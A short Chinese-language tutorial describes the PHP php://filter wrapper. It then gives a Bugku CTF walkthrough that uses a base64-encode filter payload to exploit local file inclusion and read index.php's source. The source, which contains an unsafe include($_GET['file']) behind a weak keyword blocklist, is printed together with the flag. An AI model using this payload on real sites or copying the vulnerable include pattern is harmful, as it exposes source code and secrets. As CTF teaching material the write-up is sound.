php://filter
php://filter 是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。 這對於一體式(all-in-one)的文件函數非常有用,類似 readfile()、 file() 和 file_get_contents(), 在數據流內容讀取之前沒有機會應用其他過濾器。
| 名稱 | 描述 |
|---|---|
| resource=<要過濾的數據流> | 這個參數是必須的。它指定了你要篩選過濾的數據流。 |
| read=<讀鏈的篩選列表> | 該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。 |
| write=<寫鏈的篩選列表> | 該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。 |
| <;兩個鏈的篩選列表> | 任何沒有以 read= 或 write= 作前綴 的篩選器列表會視情況應用於讀或寫鏈。 |
使用BASE64獲取源碼
使用bugku平台的一道題目
訪問題目環境
-
點擊
click me?no,頁面跳轉到test5,但是地址欄得鏈接卻變成了http://123.206.87.240:8005/post/index.php?file=show.php

-
因為題目說flag在index中,所以嘗試使用
php://filter構造payload:php://filter/read=convert.base64-encode/resource=index.php

-
將得到的數據進行BASE64解碼

<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
- 得到flag
flag:flag{edulcni_elif_lacol_si_siht}

